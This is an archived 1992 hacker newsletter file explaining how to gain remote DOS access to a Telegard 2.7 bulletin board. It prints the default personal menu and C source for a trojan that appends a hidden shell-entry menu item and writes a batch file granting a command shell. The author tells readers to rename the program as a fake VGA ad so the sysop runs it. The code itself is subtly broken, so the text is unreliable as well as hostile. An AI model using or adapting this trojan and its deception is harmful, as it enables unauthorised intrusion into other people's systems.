home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / bbs / vas0053.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  8.0 KB  |  314 lines

  1. ╔═════════════════════════════════════════════════════════════════════════════╗
  2. ║ ─────────────────────── ▀▄     █ █▀▀▀█ █▀▀▀▀ ────────────────────────────── ║
  3. ║ ───────────────────────── ▀▄   █ █   █ █▄▄▄▄ ────────────────────────────── ║
  4. ║ ─────────────────────────── ▀▄ █ █▀▀▀█     █ ────────────────────────────── ║
  5. ║ ───────────────────────────── ▀█ █   █ ▄▄▄▄█ ────────────────────────────── ║
  6. ╠═════════════════════════════════════════════════════════════════════════════╣
  7. ║                Vaginal and Anal Secretions Newsletter #0053                 ║
  8. ╟─────────────────────────────────────────────────────────────────────────────╢
  9. ║          Date Released : [07/05/92]       Author: Right Guard               ║
  10. ╟─────────────────────────────────────────────────────────────────────────────╢
  11. ║           How To Properly And Easily Access DOS Through Telegard 2.7        ║
  12. ╙─────────────────────────────────────────────────────────────────────────────╜
  13.  
  14.    
  15.    How to properly and easily access DOS through Telegard 2.7
  16.    ----------------------------------------------------------
  17.    
  18.    Well we all know the weakest side of Telegard, don't we?  The 
  19. whole menu system can be easily accessed and worked with in order
  20. to perform simple access into Dos.  If you just take a look at a
  21. Telegard menus found in the \telegard\menus\ directory (or which-
  22. ever directory they are located in), you will see that they are 
  23. all formed pretty easily by listing the commands used in the menu 
  24. in order. Here is the personal menu used in Telegard, I will go 
  25. about instructing you on how to modify this menu and easily access
  26. DOS.  Here is the default setting for the PERSONAL.MNU:
  27.  
  28. NOTE:
  29. -----
  30. *** This is exactly how it appears in Telegard 2.7 without ***
  31. *** modification.                                          ***
  32.  
  33.  
  34.   --- 
  35.  
  36.  
  37.  
  38.  
  39. ^4Time Left: [^3@T^4] (^0?^4=^0Help^4)@M^4Personal Data Menu ^2:^3
  40. s10
  41.  
  42. MAIN
  43. 0
  44. 4
  45. 4
  46. 0
  47. 5
  48.  
  49. (A)ddress - Change your address
  50. (A)ddress
  51. A
  52. s10
  53. OP
  54. 1
  55.  
  56. (B)irthday - Change your date of birth
  57. (B)irthday
  58. B
  59. s10
  60. OP
  61. 2
  62.  
  63. (C)ity & State - Change your city and state
  64. (C)ity & State
  65. C
  66. s10
  67. OP
  68. 4
  69.  
  70. (D)efine Colors - Define your personal ANSI color setup
  71. (D)efine Colors
  72. D
  73. s10
  74. OP
  75. 21
  76.  
  77. (G)oodbye - Log off and hang up with optional comment to the SysOp
  78. (G)oodbye
  79. G
  80.  
  81. -/
  82. goodbye
  83.  
  84. (/G)oodbye - Log off and hang up immediately
  85. (/G)oodbye
  86. /G
  87. s20
  88. HI
  89.  
  90.  
  91. (M)ailbox Status - Set mailbox open/closed, or forward your mail
  92. (M)ailbox Status
  93. M
  94. s10
  95. OP
  96. 15
  97.  
  98. (P)hone Number - Change your telephone number
  99. (P)hone Number
  100. P
  101. s10
  102. OP
  103. 8
  104.  
  105. (Q)uit to Main - Return to the main menu
  106. (Q)uit to Main
  107. Q
  108.  
  109. -\
  110. main
  111.  
  112. (S)creen Size - Change the number of rows & columns on your screen
  113. (S)creen Size
  114. S
  115. s10
  116. OP
  117. 11
  118.  
  119. (T)ype of Computer - Change your computer type
  120. (T)ype of Computer
  121. T
  122. s10
  123. OP
  124. 5
  125.  
  126. (W)rite Macros - Write user-defined macros for online use
  127. (W)rite Macros
  128. W
  129. s20
  130. OM
  131.  
  132.  
  133. (X)pert Toggle - Toggle between novice and expert menus
  134. (X)pert Toggle
  135. X
  136. s10
  137. OP
  138. 22
  139.  
  140. (Z)ip Code - Change your postal zip code
  141. (Z)ip Code
  142. Z
  143. s10
  144. OP
  145. 14
  146.  
  147. ($)Password - Change your logon password
  148. ($)Password
  149. $
  150. s10
  151. OP
  152. 9
  153.  
  154. (1)Set Video Type - Select ANSI, AVATAR, or TTY (plain) video output
  155. (1)Set Video Type
  156. 1
  157. s10
  158. OP
  159. 16
  160.  
  161. (2)Toggle Color - Toggle color on/off (does *NOT* affect ANSI setting)
  162. (2)Toggle Color
  163. 2
  164. s10
  165. OP
  166. 17
  167.  
  168. (3)Toggle Pause - Toggle pause after full screen on/off
  169. (3)Toggle Pause
  170. 3
  171. s10
  172. OP
  173. 18
  174.  
  175. (4)Toggle Input - Toggle between full line and one-key input
  176. (4)Toggle Input
  177. 4
  178. s10
  179. OP
  180. 19
  181.  
  182. (5)Toggle Clear - Toggle screen clear before displaying message on/off
  183. (5)Toggle Clear
  184. 5
  185. s10
  186. OP
  187. 20
  188.  
  189. (6)AVATAR Adjust - Toggle AVATAR color adjustment on/off
  190. (6)AVATAR Adjust
  191. 6
  192. s10
  193. OP
  194. 25
  195.  
  196. (*)SysOp Menu - Go to the SysOp menu
  197. (*)SysOp Menu
  198. *
  199. s200
  200. -/
  201. sysop
  202.  
  203.    Our main objective regarding this file is accessing it, modify-
  204. ing it, and then accessing DOS remotely.  I have constructed in C++
  205. a program or utility to do so.  I will explain the source as we go 
  206. along:
  207.  
  208. /* Compiler Directives */
  209.  
  210. #include<stdlib.h>
  211. #include<stdio.h>
  212.  
  213.   main ()
  214.   {
  215. /* Define Files */
  216.     
  217.     FILE *per_mnu
  218.     FILE *run_me 
  219.  
  220. /* Open File (PERSONAL.MNU) */
  221.     
  222.     per_mnu = fopen( "c:\telegard\menus\personal.mnu", "a" );
  223.     
  224. /* If the file isn't found abort */  
  225.       
  226.       if ( NULL == per_mnu ) abort()
  227.  
  228. /* Write to the file if it exists */         
  229.  
  230.          printf("[/E]nter DOS");
  231.          printf("[/E]nter DOS");
  232.          printf("/E");
  233.          printf("s10");
  234.          printf("-$");
  235.          printf("SYSOP;PW?:;No, the PW is SYSOP!");
  236.          printf("H");
  237.          printf("");
  238.          printf("[/E]nter DOS");
  239.          printf("[/E]nter DOS");
  240.          printf("/E");
  241.          printf("s10");
  242.          printf("D-");
  243.          printf("c:\telegard\runme.bat");
  244.          printf("H");
  245.     
  246. /* Closes file (PERSONAL.MNU)    
  247.     
  248.     fclose( per_mnu );
  249.  
  250. /* In order to access do you need to have a file that does    
  251.    the same as REMOTE.BAT.  Since we are not sure if the sys-
  252.    op has deleted the REMOTE.BAT file for security reasons we
  253.    must create one which does the same thing as the REMOTE.BAT
  254.    file.
  255. */
  256.     
  257. /* Open File (RUNME.BAT) */    
  258.     
  259.     run_me = fopen( "c:\telegard\runme.bat", "w");
  260.       
  261. /* Write to RUNME.BAT */         
  262.          
  263.          printf("prompt $t$_$p$g$");  
  264.          printf("command");
  265.          printf("ctty con");
  266.          printf("c:");
  267.          printf("cd\");
  268.          printf("cd\telegard\");
  269.          printf("exit");
  270.     
  271. /* Close file (RUNME.BAT) */    
  272.  
  273.     fclose( run_me );       
  274.  
  275.    This program writes to the bottom of PERSONAL.MNU and lets  
  276. anyone with access higher than 10 access the lame sysops DOS.
  277. You can compile this in Borland C++ and rename the exe to some-
  278. thing like VGA_ADD.EXE and tell the sysop that you made a really
  279. cool VGA add for his board and he should check it out at once. 
  280. He will run it, nothing will happen, and he will E-Mail you back 
  281. telling you that your add didn't work and that you should re-pro-
  282. gram it... You call at 3 AM in the morning or even at 10 PM (if 
  283. thats passed the idiotic sysops bedtime <VBG>) and access DOS and 
  284. do whatever you want.  Well I hope this article somewhat scares
  285. Telegard sysops and teaches them to have more security.  If you
  286. run Telegard 2.7 and would still like to keep it, I suggest you 
  287. rename your MENUS directory to something that no one could guess.
  288. The only catch to this C++ program is that you must know what dir-
  289. ectory the sysop has his menus in.  It should not be to hard to 
  290. figure out. 
  291.  
  292.    One way to figure out where the sysops menu files are stored is 
  293. by saying at the File Menu "!".  Usually that is file area stats and
  294. it will usually tell you what directory the files in that area are 
  295. stored.  It might be something like c:\tg\utilfile\.  You can conclude
  296. from that, that the menus are probably are in c:\tg\menus\ directory.
  297. Once you know the directory the menus are in you modify it in the C++
  298. program supplied and compile it.  You should have no errors in the 
  299. compilation of the C program.  Well I hope I helped someone out there
  300. with Telegard, whether it be warning a SysOp or whatever. Watch out 
  301. Telegard can be deadly!!
  302.  
  303.  
  304.                    ───═════[ VaS DiSTRiBuTioN SiTeS ]═════───
  305. ╔═════════════════════════════════════════════════════════════════════════════╗
  306. ║  BBS Name                 Number       Baud   Sysop                Title    ║
  307. ╟─────────────────────────────────────────────────────────────────────────────╢
  308. ║  LiVe WiRE BBS        (313)464-1470    14.4   Studmuffin          World HQ  ║
  309. ║  PoT BBS              (313)462-1906    24oo   Phreak_Accident     World HQ  ║
  310. ║  TcH BBS              (713)373-4031    14.4   One Meg Cacher      Dist. #1  ║
  311. ║  Floating Pancreas    (305)551-0311    14.4   Majestic Cockster   Dist. #2  ║
  312. ║  Midian BBS           (703)790-8048    14.4   The Raging Golemn   Dist. #3  ║
  313. ╚═════════════════════════════════════════════════════════════════════════════╝
  314.